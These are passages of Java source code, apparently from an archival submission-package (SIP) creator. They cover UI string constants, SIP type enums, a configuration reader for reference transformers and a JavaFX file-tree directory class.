I18N_MAIN_LANGUAGE = \"Main.language\";\n public static final String I18N_MAIN_LOADCS = \"Main.loadCS\";\n public static final String I18N_MAIN_NEW_VERSION_HEADER = \"Main.newVersion.header\";\n public static final String I18N_MAIN_NO_UPDATES_CONTENT = \"Main.noUpdates.content\";\n public static final String I18N_MAIN_NO_UPDATES_HEADER = \"Main.noUpdates.header\";\n public static final String I18N_MAIN_OPEN_CONFIGURATION_FOLDER = \"Main.openConfigurationFolder\";\n public static final String I18N_MAIN_QUIT = \"Main.quit\";\n public static final String I18N_MAIN_RESET = \"Main.reset\";\n public static final String I18N_MAIN_SHOW_FILES = \"Main.showFiles\";\n public static final String I18N_MAIN_SHOW_HELP = \"Main.showHelp\";\n public static final String I18N_MAIN_SHOW_IGNORED = \"Main.showIgnored\";\n public static final String I18N_MAIN_SHOW_MAPPED = \"Main.showMapped\";\n public static final String I18N_MAIN_UPDATE_LANG_CONTENT = \"Main.updateLang.content\";\n public static final String I18N_MAIN_UPDATE_LANG_HEADER = \"Main.updateLang.header\";\n public static final String I18N_MAIN_UPDATE_LANG_TITLE = \"Main.updateLang.title\";\n public static final String I18N_MAIN_USE_JAVA8 = \"Main.useJava8\";\n public static final String I18N_MAIN_VIEW = \"Main.view\";\n public static final String I18N_METADATA_DIFF_FOLDER_DESCRIPTION = \"metadata.diffFolder.description\";\n public static final String I18N_METADATA_DIFF_FOLDER_TITLE = \"metadata.diffFolder.title\";\n public static final String I18N_METADATA_EMPTY_FILE_DESCRIPTION = \"metadata.emptyFile.description\";\n public static final String I18N_METADATA_EMPTY_FILE_TITLE = \"metadata.emptyFile.title\";\n public static final String I18N_METADATA_SAME_FOLDER_DESCRIPTION = \"metadata.sameFolder.description\";\n public static final String I18N_METADATA_SAME_FOLDER_TITLE = \"metadata.sameFolder.title\";\n public static final String I18N_METADATA_SINGLE_FILE_DESCRIPTION = \"metadata.singleFile.description\";\n public static final String I18N_METADATA_SINGLE_FILE_TITLE = \"metadata.singleFile.title\";\n public static final String I18N_METADATA_TEMPLATE_DESCRIPTION = \"metadata.template.description\";\n public static final String I18N_METADATA_TEMPLATE_TITLE = \"metadata.template.title\";\n public static final String I18N_RULECELL_CREATED_ITEM = \"RuleCell.createdItem\";\n public static final String I18N_RULEMODALPANE_ASSOCIATION_METHOD = \"RuleModalPane.associationMethod\";\n public static final String I18N_RULEMODALPANE_CHOOSE_DIRECTORY = \"RuleModalPane.chooseDirectory\";\n public static final String I18N_RULEMODALPANE_CHOOSE_FILE = \"RuleModalPane.chooseFile\";\n public static final String I18N_RULEMODALPANE_METADATA_METHOD = \"RuleModalPane.metadataMethod\";\n public static final String I18N_RULEMODALPANE_METADATA_PATTERN = \"RuleModalPane.metadataPattern\";\n public static final String I18N_RULEMODALPROCESSING_CREATED_PREVIEWS = \"RuleModalProcessing.createdPreviews\";\n public static final String I18N_RULEMODALPROCESSING_CREATING_PREVIEW = \"RuleModalProcessing.creatingPreview\";\n public static final String I18N_RULEMODALPROCESSING_PROCESSED_DIRS_FILES = \"RuleModalProcessing.processedDirsFiles\";\n public static final String I18N_RULEMODALREMOVING_REMOVED_FORMAT = \"RuleModalRemoving.removedFormat\";\n public static final String I18N_RULEMODALREMOVING_TITLE = \"RuleModalRemoving.title\";\n public static final String I18N_SCHEMAPANE_ADD = \"SchemaPane.add\";\n public static final String I18N_SCHEMAPANE_CONFIRM_NEW_SCHEME_CONTENT = \"SchemaPane.confirmNewScheme.content\";\n public static final String I18N_SCHEMAPANE_CONFIRM_NEW_SCHEME_HEADER = \"SchemaPane.confirmNewScheme.header\";\n public static final String I18N_SCHEMAPANE_CONFIRM_NEW_SCHEME_TITLE = \"SchemaPane.confirmNewScheme.title\";\n public static final String I18N_SCHEMAPANE_CONFIRM_REMOVE_CONTENT = \"SchemaPane.confirmRemove.content\";\n public static final String I18N_SCHEMAPANE_CONFIRM_REMOVE_HEADER = \"SchemaPane.confirmRemove.header\";\n public static final String I18N_SCHEMAPANE_CONFIRM_REMOVE_TITLE = \"SchemaPane.confirmRemove.title\";\n public static final String I18N_SCHEMAPANE_CREATE = \"SchemaPane.create\";\n public static final String I18N_SCHEMAPANE_DRAG_HELP = \"SchemaPane.dragHelp\";\n public static final String I18N_SCHEMAPANE_HELP_TITLE = \"SchemaPane.help.title\";\n public static final String I18N_SCHEMAPANE_NEW_NODE = \"SchemaPane.newNode\";\n public static final String I18N_SCHEMAPANE_OR = \"SchemaPane.or\";\n public static final String I18N_SCHEMAPANE_REMOVE = \"SchemaPane.remove\";\n public static final String I18N_SCHEMAPANE_TITLE = \"SchemaPane.title\";\n public static final String I18N_SCHEMAPANE_TOO_MANY_SELECTED_CONTENT = \"SchemaPane.tooManySelected.content\";\n public static final String I18N_SCHEMAPANE_TOO_MANY_SELECTED_HEADER = \"SchemaPane.tooManySelected.header\";\n public static final String I18N_SCHEMAPANE_TOO_MANY_SELECTED_TITLE = \"SchemaPane.tooManySelected.title\";\n public static final String I18N_SIMPLE_SIP_CREATOR_COPYING_DATA = \"SimpleSipCreator.copyingData\";\n public static final String I18N_SIMPLE_SIP_CREATOR_DOCUMENTATION = \"SimpleSipCreator.documentation\";\n public static final String I18N_SIMPLE_SIP_CREATOR_INIT_ZIP = \"SimpleSipCreator.initZIP\";\n public static final String I18N_SIMPLE_SIP_CREATOR_CREATING_STRUCTURE = \"SimpleSipCreator.creatingStructure\";\n public static final String I18N_SIMPLE_SIP_CREATOR_COPYING_METADATA = \"SimpleSipCreator.copyingMetadata\";\n public static final String I18N_SIMPLE_SIP_CREATOR_FINALIZING_SIP = \"SimpleSipCreator.finalizingSip\";\n public static final String I18N_SOURCE_TREE_CELL_REMOVE = \"SourceTreeCell.remove\";\n public static final String I18N_SOURCE_TREE_LOADING_TITLE = \"SourceTreeLoading.title\";\n public static final String I18N_SOURCE_TREE_LOAD_MORE_TITLE = \"SourceTreeLoadMore.title\";\n public static final String I18N_ADD = \"add\";\n public static final String I18N_AND = \"and\";\n public static final String I18N_APPLY = \"apply\";\n public static final String I18N_ASSOCIATE = \"associate\";\n public static final String I18N_BACK = \"back\";\n public static final String I18N_CANCEL = \"cancel\";\n public static final String I18N_CLEAR = \"clear\";\n public static final String I18N_CLOSE = \"close\";\n public static final String I18N_COLLAPSE = \"collapse\";\n public static final String I18N_CONFIRM = \"confirm\";\n public static final String I18N_CONTINUE = \"continue\";\n public static final String I18N_CREATIONMODALPROCESSING_REPRESENTATION = \"CreationModalProcessing.representation\";\n public static final String I18N_DATA = \"data\";\n public static final String I18N_DIRECTORIES = \"directories\";\n public static final String I18N_DIRECTORY = \"directory\";\n public static final String I18N_DOCUMENTATION = \"documentation\";\n public static final String I18N_DONE = \"done\";\n public static final String I18N_ERROR_VALIDATING_METADATA = \"errorValidatingMetadata\";\n public static final String I18N_EXPAND = \"expand\";\n public static final String I18N_EXPORT = \"export\";\n public static final String I18N_FILE = \"file\";\n public static final String I18N_FILES = \"files\";\n public static final String I18N_FOLDERS = \"folders\";\n public static final String I18N_HELP = \"help\";\n public static final String I18N_IGNORE = \"ignore\";\n public static final String I18N_INVALID_METADATA = \"invalidMetadata\";\n public static final String I18N_IP_CONTENT_TYPE = \"IPContentType.\";\n public static final String I18N_ITEMS = \"items\";\n public static final String I18N_LOAD = \"load\";\n public static final String I18N_LOADINGPANE_CREATE_ASSOCIATION = \"LoadingPane.createAssociation\";\n public static final String I18N_NAME = \"name\";\n public static final String I18N_REMOVE = \"remove\";\n public static final String I18N_REPRESENTATION_CONTENT_TYPE = \"RepresentationContentType.\";\n public static final String I18N_RESTART = \"restart\";\n public static final String I18N_ROOT = \"root\";\n public static final String I18N_SELECTED = \"selected\";\n public static final String I18N_SIP_NAME_STRATEGY = \"sipNameStrategy.\";\n public static final String I18N_START = \"start\";\n public static final String I18N_TYPE = \"type\";\n public static final String I18N_VALID_METADATA = \"validMetadata\";\n public static final String I18N_VERSION = \"version\";\n public static final String I18N_RENAME_REPRESENTATION = \"RenameModalProcessing.renameRepresentation\";\n public static final String I18N_RENAME = \"rename\";\n public static final String I18N_RENAME_REPRESENTATION_ALREADY_EXISTS = \"RenameModalProcessing.renameAlreadyExists\";\n\n public static final String CONF_K_REFERENCE_TRANSFORMER_LIST = \"reference.transformer.list[]\";\n public static final String CONF_K_REFERENCE_TRANSFORMER = \"reference.transformer.\";\n\n /*\n * ENUMs\n */\n // sip type\n public enum SipType {\n EARK(EarkSipCreator.getText(), EarkSipCreator.requiresMETSHeaderInfo(), EarkSipCreator.ipSpecificContentTypes(),\n EarkSipCreator.representationSpecificContentTypes(), SipNameStrategy.ID, SipNameStrategy.TITLE_ID,\n SipNameStrategy.TITLE_DATE),\n EARK2(EarkSip2Creator.getText(), EarkSip2Creator.requiresMETSHeaderInfo(), EarkSip2Creator.ipSpecificContentTypes(),\n EarkSip2Creator.representationSpecificContentTypes(), SipNameStrategy.ID, SipNameStrategy.TITLE_ID,\n SipNameStrategy.TITLE_DATE),\n BAGIT(BagitSipCreator.getText(), BagitSipCreator.requiresMETSHeaderInfo(), BagitSipCreator.ipSpecificContentTypes(),\n BagitSipCreator.representationSpecificContentTypes(), SipNameStrategy.ID, SipNameStrategy.TITLE_ID,\n SipNameStrategy.TITLE_DATE),\n HUNGARIAN(HungarianSipCreator.getText(), HungarianSipCreator.requiresMETSHeaderInfo(),\n HungarianSipCreator.ipSpecificContentTypes(), HungarianSipCreator.representationSpecificContentTypes(),\n SipNameStrategy.DATE_TRANSFERRING_SERIALNUMBER),\n EARK2S(ShallowSipCreator.getText(), ShallowSipCreator.requiresMETSHeaderInfo(),\n ShallowSipCreator.ipSpecificContentTypes(), ShallowSipCreator.representationSpecificContentTypes(),\n SipNameStrategy.ID, SipNameStrategy.TITLE_ID, SipNameStrategy.TITLE_DATE);\n\n private final String text;\n private Set<SipNameStrategy> sipNameStrategies;\n private boolean requiresMETSHeaderInfo;\n private List<IPContentType> ipContentTypes;\n private List<RepresentationContentType> representationContentTypes;\n\n private static SipType[] filteredValues = null;\n private static List<Pair<SipType, List<IPContentType>>> filteredIpContentTypes = null;\n private static List<Pair<SipType, List<RepresentationContentType>>> filteredRepresentationContentTypes = null;\n\n private SipType(final String text, boolean requiresMETSHeaderInfo, List<IPContentType> ipContentTypes,\n List<RepresentationContentType> representationContentTypes, SipNameStrategy... sipNameStrategies) {\n this.text = text;\n this.requiresMETSHeaderInfo = requiresMETSHeaderInfo;\n this.ipContentTypes = ipContentTypes;\n this.representationContentTypes = representationContentTypes;\n this.sipNameStrategies = new LinkedHashSet<>();\n for (SipNameStrategy sipNameStrategy : sipNameStrategies) {\n this.sipNameStrategies.add(sipNameStrategy);\n }\n }\n\n /**\n * Used instead of SipType#values to get the values of this enum that are\n * enabled (according to the configuration).\n *\n * @return a SipType list filtered according to configuration.\n */\n public static SipType[] getFilteredValues() {\n if (filteredValues == null) {\n List<SipType> list = Arrays.asList(SipType.values());\n List<String> allowedValues = Arrays\n .asList(ConfigurationManager.getConfigAsStringArray(CONF_K_ACTIVE_SIP_TYPES));\n filteredValues = list.stream().filter(m -> allowedValues.contains(m.name())).collect(Collectors.toList())\n .toArray(new SipType[] {});\n }\n return filteredValues;\n }\n\n public static List<Pair<SipType, List<IPContentType>>> getFilteredIpContentTypes() {\n if (filteredIpContentTypes == null) {\n filteredIpContentTypes = new ArrayList<Pair<SipType, List<IPContentType>>>();\n for (SipType sipType : getFilteredValues()) {\n filteredIpContentTypes.add(new Pair<>(sipType, sipType.getIpContentTypes()));\n }\n }\n return filteredIpContentTypes;\n }\n\n public static List<Pair<SipType, List<RepresentationContentType>>> getFilteredRepresentationContentTypes() {\n if (filteredRepresentationContentTypes == null) {\n filteredRepresentationContentTypes = new ArrayList<>();\n for (SipType sipType : getFilteredValues()) {\n filteredRepresentationContentTypes.add(new Pair<>(sipType, sipType.getRepresentationContentTypes()));\n }\n }\n return filteredRepresentationContentTypes;\n }\n\n public List<IPContentType> getIpContentTypes() {\n return ipContentTypes;\n }\n\n public List<RepresentationContentType> getRepresentationContentTypes() {\n return representationContentTypes;\n }\n\n public boolean requiresMETSHeaderInfo() {\n return this.requiresMETSHeaderInfo;\n }\n\n public Set<SipNameStrategy> getSipNameStrategies() {\n return this.sipNameStrategies;\n }\n\n @Override\n public String toString() {\n return text;\n }\n }\n\n // sip name strategy\n public enum SipNameStrategy {\n ID, TITLE_ID, TITLE_DATE, DATE_TRANSFERRING_SERIALNUMBER\n }\n\n // path state\n public enum PathState {\n NORMAL, IGNORED, MAPPED\n }\n\n public enum RuleType {\n SINGLE_SIP, SIP_PER_FILE, SIP_WITH_STRUCTURE, SIP_PER_SELECTION\n }\n\n public enum MetadataOption {\n SINGLE_FILE, SAME_DIRECTORY, DIFF_DIRECTORY, TEMPLATE, NEW_FILE;\n\n /**\n * Translates the value that was serialized to the Enum.\n * \n * @param value\n * The serialized value.\n * @return The translated value.\n */\n @JsonCreator\n public static MetadataOption getEnumFromValue(String value) {\n if (\"\".equals(value))\n return SINGLE_FILE;\n for (MetadataOption testEnum : values()) {\n if (testEnum.toString().equals(value)) {\n return testEnum;\n }\n }\n throw new IllegalArgumentException();\n }\n }\n\n public enum VisitorState {\n VISITOR_DONE, VISITOR_QUEUED, VISITOR_NOTSUBMITTED, VISITOR_RUNNING, VISITOR_CANCELLED\n }\n\n private Constants() {\n // do nothing\n }\n}", "public enum PathState {\n NORMAL, IGNORED, MAPPED\n}", "public abstract class UriCreator implements UriCreatorInterface {\n /**\n * {@link Logger}.\n */\n private static final Logger LOGGER = LoggerFactory.getLogger(UriCreator.class.getName());\n\n /**\n * Get SIP shallow SIP Configurations.\n *\n * @return {@link List}\n */\n public static List<Configuration> getShallowSipConfigurations() {\n final String configListRaw = ConfigurationManager.getConfig(Constants.CONF_K_REFERENCE_TRANSFORMER_LIST);\n final List<Configuration> configurationList = new ArrayList<>();\n if (configListRaw != null) {\n final String[] configList = configListRaw.split(\",\");\n for (String config : configList) {\n final String sourceBasepath = ConfigurationManager\n .getConfig(Constants.CONF_K_REFERENCE_TRANSFORMER + config + \".basepath\");\n final String targetBasepath = ConfigurationManager\n .getConfig(Constants.CONF_K_REFERENCE_TRANSFORMER + config + \".targetPath\");\n final String host = ConfigurationManager.getConfig(Constants.CONF_K_REFERENCE_TRANSFORMER + config + \".host\");\n final String protocol = ConfigurationManager\n .getConfig(Constants.CONF_K_REFERENCE_TRANSFORMER + config + \".protocol\");\n final String port = ConfigurationManager.getConfig(Constants.CONF_K_REFERENCE_TRANSFORMER + config + \".port\");\n\n if (sourceBasepath == null) {\n LOGGER.warn(\"Missing configuration base path for {}\", config);\n }\n if (protocol == null) {\n LOGGER.warn(\"Missing configuration protocol for {}\", config);\n }\n configurationList.add(\n new Configuration(sourceBasepath, targetBasepath != null ? Optional.of(targetBasepath) : Optional.empty(),\n host != null ? Optional.of(host) : Optional.empty(), protocol,\n port != null ? Optional.of(port) : Optional.empty()));\n }\n }\n return configurationList;\n }\n\n public static boolean partOfConfiguration(final Path path) {\n final List<Configuration> configurationList = getShallowSipConfigurations();\n boolean found = false;\n final Path absolutePath = path.toAbsolutePath();\n if (!configurationList.isEmpty()) {\n for (Configuration config : configurationList) {\n if (config.getSourceBasepath() != null\n && absolutePath.startsWith(Paths.get(config.getSourceBasepath()).toAbsolutePath())) {\n found = true;\n break;\n }\n }\n }\n return found;\n }\n}", "public class SourceTreeDirectory extends SourceTreeItem {\n private static final Logger LOGGER = LoggerFactory.getLogger(SourceTreeDirectory.class.getName());\n public static final Image folderCollapseImage = new Image(\n ClassLoader.getSystemResourceAsStream(Constants.RSC_ICON_FOLDER_COLAPSE));\n public static final Image folderExpandImage = new Image(\n ClassLoader.getSystemResourceAsStream(Constants.RSC_ICON_FOLDER_EXPAND));\n public static final Image folderExpandExportImage = new Image(\n ClassLoader.getSystemResourceAsStream(Constants.RSC_ICON_FOLDER_OPEN_EXPORT));\n public static final Image folderCollapseExportImage = new Image(\n ClassLoader.getSystemResourceAsStream(Constants.RSC_ICON_FOLDER_EXPORT));\n public static final Comparator<? super TreeItem> comparator = createComparator();\n\n public boolean expanded = false;\n private SourceDirectory directory;\n private String fullPath;\n private WatchKey watchKey;\n\n private HashSet<SourceTreeItem> ignored;\n private HashSet<SourceTreeItem> mapped;\n private HashSet<SourceTreeFile> files;\n\n public SourceTreeDirectory(Path file, SourceDirectory directory, PathState st, SourceTreeDirectory parent) {\n this(file, directory, parent);\n state = st;\n PathCollection.simpleAddPath(Paths.get(fullPath));\n }\n\n public SourceTreeDirectory(Path file, SourceDirectory directory, SourceTreeDirectory parent) {\n super(file.toString(), parent);\n this.directory = directory;\n this.fullPath = file.toString();\n this.parent = parent;\n state = PathCollection.getState(Paths.get(fullPath));\n ignored = new HashSet<>();\n mapped = new HashSet<>();\n files = new HashSet<>();\n\n this.getChildren().add(new SourceTreeLoading());\n\n String value = file.toString();\n if (!fullPath.endsWith(File.separator)) {\n int indexOf = value.lastIndexOf(File.separator);\n if (indexOf > 0) {\n this.setValue(value.substring(indexOf + 1));\n } else {\n this.setValue(value);\n }\n }\n\n this.addEventHandler(SourceTreeDirectory.branchExpandedEvent(), new ExpandedEventHandler());\n\n this.addEventHandler(TreeItem.branchCollapsedEvent(), event -> {\n SourceTreeDirectory source = SourceTreeDirectory.class.cast(event.getSource());\n if (!source.isExpanded()) {\n source.expanded = false;\n }\n });\n }\n\n public SourceTreeDirectory() {\n super(\"\", null);\n fullPath = \"\";\n directory = null;\n state = PathState.NORMAL;\n ignored = new HashSet<>();\n mapped = new HashSet<>();\n files = new HashSet<>();\n }\n\n /**\n * Creates a task to hide all this item's mapped items. The task is needed to\n * prevent the UI thread from hanging due to the computations.\n * <p/>\n * First, it removes all the children with the MAPPED state and adds them to the\n * mapped set, so that they can be shown at a later date. If a child is a\n * directory, this method is called in that item. Finally, clears the children\n * and adds the new list of items.\n *\n * @see #showMapped()\n */\n public synchronized void hideMapped() {\n final ArrayList<TreeItem<String>> newChildren = new ArrayList<>(getChildren());\n Task<Void> task = new Task<Void>() {\n @Override\n protected Void call() throws Exception {\n Set<TreeItem> toRemove = new HashSet<>();\n for (TreeItem sti : newChildren) {\n SourceTreeItem item = (SourceTreeItem) sti;\n if (item.getState() == PathState.MAPPED || item instanceof SourceTreeLoadMore) {\n mapped.add(item);\n toRemove.add(sti);\n }\n if (item instanceof SourceTreeDirectory)\n ((SourceTreeDirectory) item).hideMapped();\n }\n newChildren.removeAll(toRemove);\n return null;\n }\n };\n task.setOnSucceeded(event -> getChildren().setAll(newChildren));\n\n new Thread(task).start();\n }\n\n /**\n * Creates a task to show all this item's mapped items. The task is needed to\n * prevent the UI thread from hanging due to the computations.\n * <p/>\n * First, it adds all the items in the mapped set, which are the previously\n * hidden items, and clears the set. We need to be careful in this step because\n * if the hiddenFiles flag is true, then we must hide the mapped items that are\n * files. Then makes a call to this method for all its children and hidden\n * ignored items. Finally, clears the children, adds the new list of items, and\n * sorts them.\n *\n * @see #sortChildren()\n * @see #hideMapped()\n */\n public synchronized void showMapped() {\n final ArrayList<TreeItem<String>> newChildren = new ArrayList<>(getChildren());\n Task<Void> task = new Task<Void>() {\n @Override\n protected Void call() throws Exception {\n for (SourceTreeItem sti : mapped) {\n if (sti instanceof SourceTreeFile && !FileExplorerPane.isShowFiles()) {\n files.add((SourceTreeFile) sti);\n } else\n newChildren.add(sti);\n }\n mapped.clear();\n for (TreeItem sti : newChildren) {\n if (sti instanceof SourceTreeDirectory)\n ((SourceTreeDirectory) sti).showMapped();\n }\n for (SourceTreeItem sti : ignored) {\n if (sti instanceof SourceTreeDirectory)\n ((SourceTreeDirectory) sti).showMapped();\n }\n return null;\n }\n };\n\n task.setOnSucceeded(event -> {\n getChildren().setAll(newChildren);\n sortChildren();\n });\n\n new Thread(task).start();\n }\n\n /**\n * Creates a task to hide all this item's ignored items. The task is needed to\n * prevent the UI thread from hanging due to the computations.\n * <p/>\n * First, it removes all the children with the IGNORED state and adds them to\n * the ignored set, so that they can be shown at a later date. If a child is a\n * directory, this method is called in that item. Then, calls this method for\n * this item's children directories, that are in the hidden mapped items set.\n * Finally, clears the children and adds the new list of items.\n *\n * @see #showIgnored()\n */\n public synchronized void hideIgnored() {\n final ArrayList<TreeItem<String>> children = new ArrayList<>(getChildren());\n Task<Void> task = new Task<Void>() {\n @Override\n protected Void call() throws Exception {\n Set<TreeItem> toRemove = new HashSet<>();\n for (TreeItem sti : children) {\n SourceTreeItem item = (SourceTreeItem) sti;\n if (item.getState() == PathState.IGNORED || sti instanceof SourceTreeLoadMore) {\n ignored.add(item);\n toRemove.add(sti);\n }\n if (item instanceof SourceTreeDirectory)\n ((SourceTreeDirectory) item).hideIgnored();\n }\n children.removeAll(toRemove);\n for (SourceTreeItem item : mapped) {\n if (item instanceof SourceTreeDirectory)\n ((SourceTreeDirectory) item).hideIgnored();\n }\n return null;\n }\n };\n task.setOnSucceeded(event -> getChildren().setAll(children));\n\n new Thread(task).start();\n }\n\n /**\n * Creates a task to show all this item's ignored items. The task is needed to\n * prevent the UI thread from hanging due to the computations.\n * <p/>\n * First, it adds all the items in the ignored set, which are the previously\n * hidden items, and clears the set. We need to be careful in this step because\n * if the hiddenFiles flag is true, then we must hide the ignored items that are\n * files. Then makes a call to this method for all its children and hidden\n * mapped items. Finally, clears the children, adds the new list of items, and\n * sorts them.\n *\n * @see #sortChildren()\n * @see #hideIgnored()\n */\n public synchronized void showIgnored() {\n final ArrayList<TreeItem<String>> newChildren = new ArrayList<>(getChildren());\n Task<Void> task = new Task<Void>() {\n @Override\n protected Void call() throws Exception {\n for (SourceTreeItem sti : ignored) {\n if (sti instanceof SourceTreeFile && !FileExplorerPane.isShowFiles()) {\n files.add((SourceTreeFile) sti);\n } else\n newChildren.add(sti);\n }\n ignored.clear();\n for (TreeItem sti : newChildren) {\n if (sti instanceof SourceTreeDirectory)\n ((SourceTreeDirectory) sti).showIgnored();\n }\n for (SourceTreeItem sti : mapped) {\n if (sti instanceof SourceTreeDirectory)\n ((SourceTreeDirectory) sti).showIgnored();\n }\n return null;\n }\n };\n task.setOnSucceeded(event -> {\n getChildren().setAll(newChildren);\n sortChildren();\n });\n new Thread(task).start();\n }\n\n /**\n * Creates a task to hide all this item's file items. The task is needed to\n * prevent the UI thread from hanging due to the computations.\n * <p/>\n * First, it removes all the children that are a file and adds them to the files\n * set, so that they can be shown at a later date. If a child is a directory,\n * this method is called in that item. Finally, clears the children and adds the\n * new list of items.\n *\n * @see #showFiles() ()\n */\n public synchronized void hideFiles() {\n final ArrayList<TreeItem<String>> children = new ArrayList<>(getChildren());\n Task<Void> task = new Task<Void>() {\n @Override\n protected Void call() throws Exception {\n Set<TreeItem> toRemove = new HashSet<>();\n for (TreeItem sti : children) {\n if (sti instanceof SourceTreeFile) {\n files.add((SourceTreeFile) sti);\n toRemove.add(sti);\n } else {\n SourceTreeItem item = (SourceTreeItem) sti;\n if (item instanceof SourceTreeDirectory)\n ((SourceTreeDirectory) item).hideFiles();\n }\n }\n children.removeAll(toRemove);\n return null;\n }\n };\n task.setOnSucceeded(event -> getChildren().setAll(children));\n new Thread(task).start();\n }\n\n /**\n * Creates a task to show all this item's file items. The task is needed to\n * prevent the UI thread from hanging due to the computations.\n * <p/>\n * First, it adds all the items in the files set, which are the previously\n * hidden items, and clears the set. Then makes a call to this method for all\n * its children and hidden ignored/mapped items. Finally, clears the children,\n * adds the new list of items, and sorts them.\n *\n * @see #sortChildren()\n * @see #hideFiles() ()\n */\n public synchronized void showFiles() {\n final ArrayList<TreeItem<String>> newChildren = new ArrayList<>(getChildren());\n Task<Void> task = new Task<Void>() {\n @Override\n protected Void call() throws Exception {\n for (SourceTreeItem sti : files) {\n newChildren.add(sti);\n }\n files.clear();\n for (TreeItem sti : newChildren) {\n if (sti instanceof SourceTreeDirectory)\n ((SourceTreeDirectory) sti).showFiles();\n }\n for (SourceTreeItem sti : ignored) {\n if (sti instanceof SourceTreeDirectory)\n ((SourceTreeDirectory) sti).showFiles();\n }\n for (SourceTreeItem sti : mapped) {\n if (sti instanceof SourceTreeDirectory)\n ((SourceTreeDirectory) sti).showFiles();\n }\n return null;\n }\n };\n task.setOnSucceeded(event -> {\n getChildren().setAll(newChildren);\n sortChildren();\n });\n new Thread(task).start();\n }\n\n /**\n * @return The set of the ignored items in the directory.\n */\n public synchronized Set<String> getIgnored() {\n Set<String> result = new HashSet<>();\n // we need to include the items that are being shown and the hidden\n for (SourceTreeItem sti : ignored) {\n result.add(sti.getPath());\n }\n for (TreeItem sti : getChildren()) {\n SourceTreeItem item = (SourceTreeItem) sti;\n if (item instanceof SourceTreeDirectory)\n result.addAll(((SourceTreeDirectory) item).getIgnored());\n\n if (item.getState() == PathState.IGNORED)\n result.add(item.getPath());\n }\n return result;\n }\n\n /**\n * @return The set of the mapped items in the directory.\n */\n public synchronized Set<String> getMapped() {\n Set<String> result = new HashSet<>();\n // we need to include the items that are being shown and the hidden\n for (SourceTreeItem sti : mapped) {\n result.add(sti.getPath());\n }\n for (TreeItem sti : getChildren()) {\n SourceTreeItem item = (SourceTreeItem) sti;\n if (item instanceof SourceTreeDirectory)\n result.addAll(((SourceTreeDirectory) item).getMapped());\n\n if (item.getState() == PathState.MAPPED)\n result.add(item.getPath());\n }\n return result;\n }\n\n private static Comparator createComparator() {\n return new Comparator<TreeItem>() {\n @Override\n public int compare(TreeItem o1, TreeItem o2) {\n if (o1.getClass() == o2.getClass()) { // sort items of the same class by\n // value\n String s1 = (String) o1.getValue();\n String s2 = (String) o2.getValue();\n if (s1 != null && s2 != null)\n return s1.compareToIgnoreCase(s2);\n }\n // directories must appear first\n if (o1 instanceof SourceTreeDirectory)\n return -1;\n // \"Load More...\" item should be at the bottom\n if (o2 instanceof SourceTreeLoadMore)\n return -1;\n return 1;\n }\n };\n }\n\n /**\n * Sorts the children array\n */\n public void sortChildren() {\n ArrayList<TreeItem<String>> aux = new ArrayList<>(getChildren());\n Collections.sort(aux, comparator);\n getChildren().setAll(aux);\n }\n\n /**\n * @return The path of the directory\n */\n @Override\n public String getPath() {\n return this.fullPath;\n }\n\n /**\n * Sets the state of the directory and forces an update of the item\n *\n * @param st\n * The new state\n */\n @Override\n public void setState(PathState st) {\n if (state != st) {\n state = st;\n }\n forceUpdate();\n }\n\n /**\n * Sets the directory as ignored and forces an update of the item\n */\n @Override\n public void addIgnore() {\n if (state == PathState.NORMAL) {\n state = PathState.IGNORED;\n PathCollection.addPath(Paths.get(fullPath), state);\n }\n forceUpdate();\n }\n\n /**\n * Sets the directory as mapped\n */\n @Override\n public void addMapping(Rule r) {\n if (state == PathState.NORMAL) {\n state = PathState.MAPPED;\n }\n }\n\n /**\n * Sets the directory as normal (if it was ignored)\n */\n @Override\n public void removeIgnore() {\n if (state == PathState.IGNORED) {\n state = PathState.NORMAL;\n PathCollection.addPath(Paths.get(fullPath), state);\n }\n }\n\n /**\n * @return The SourceDirectory object associated to the item\n */\n public SourceDirectory getDirectory() {\n return directory;\n }\n\n /**\n * Creates a task to load the items to a temporary collection, otherwise the UI\n * will hang while accessing the disk. Then, sets the new collection as the\n * item's children.\n */\n public synchronized void loadMore() {\n final ArrayList<TreeItem<String>> children = new ArrayList<>(getChildren());\n addToWatcher();\n\n // Remove \"loading\" items\n List<Object> toRemove = children.stream()\n .filter(p -> p instanceof SourceTreeLoading || p instanceof SourceTreeLoadMore).collect(Collectors.toList());\n children.removeAll(toRemove);\n\n // First we access the disk and save the loaded items to a temporary\n // collection\n Task<Integer> task = new Task<Integer>() {\n @Override\n protected Integer call() throws Exception {\n SortedMap<String, SourceItem> loaded = getDirectory().loadMore();\n long startTime = System.currentTimeMillis();\n\n if (!loaded.isEmpty()) {\n // Add new items\n for (String sourceItem : loaded.keySet()) {\n addChild(children, sourceItem);\n }\n // check if there's more files to load\n if (directory.isStreamOpen())\n children.add(new SourceTreeLoadMore());\n }\n Collections.sort(children, comparator);\n LOGGER.debug(\"Done adding more child (nr: {} -> millis: {})\", loaded.size(),\n (System.currentTimeMillis() - startTime));\n return loaded.size();\n }\n };\n\n // After everything is loaded, we add all the items to the TreeView at once.\n task.setOnSucceeded(event ->\n // Set the children\n getChildren().setAll(children));\n\n new Thread(task).start();\n }\n\n private void addChild(List children, String sourceItem) {\n Path sourceItemPath = Paths.get(sourceItem);\n\n PathState newState = PathCollection.getState(sourceItemPath);\n if (IgnoredFilter.isIgnored(sourceItemPath)) {\n newState = PathState.IGNORED;\n }\n\n SourceTreeItem item;\n if (Files.isDirectory(sourceItemPath)) {\n if (newState != PathState.IGNORED) {\n item = new SourceTreeDirectory(sourceItemPath, directory.getChildDirectory(sourceItemPath), newState, this);\n } else {\n item = null;\n }\n } else {\n item = new SourceTreeFile(sourceItemPath, newState, this);\n }\n\n if (item != null) {\n switch (newState) {\n case IGNORED:\n addChildIgnored(children, item);\n break;\n case MAPPED:\n addChildMapped(children, item);\n break;\n case NORMAL:\n if (item instanceof SourceTreeFile)\n if (FileExplorerPane.isShowFiles())\n children.add(item);\n else\n files.add((SourceTreeFile) item);\n else\n children.add(item);\n break;\n default:\n }\n PathCollection.addItem(item);\n }\n }\n\n private void addChildIgnored(List children, SourceTreeItem item) {\n if (FileExplorerPane.isShowIgnored()) {\n if (item instanceof SourceTreeFile && !FileExplorerPane.isShowFiles()) {\n files.add((SourceTreeFile) item);\n } else\n children.add(item);\n } else\n ignored.add(item);\n }\n\n private void addChildMapped(List children, SourceTreeItem item) {\n if (FileExplorerPane.isShowMapped()) {\n if (item instanceof SourceTreeFile && !FileExplorerPane.isShowFiles()) {\n files.add((SourceTreeFile) item);\n } else\n children.add(item);\n } else\n mapped.add(item);\n }\n\n public synchronized void removeChild(SourceTreeItem item) {\n 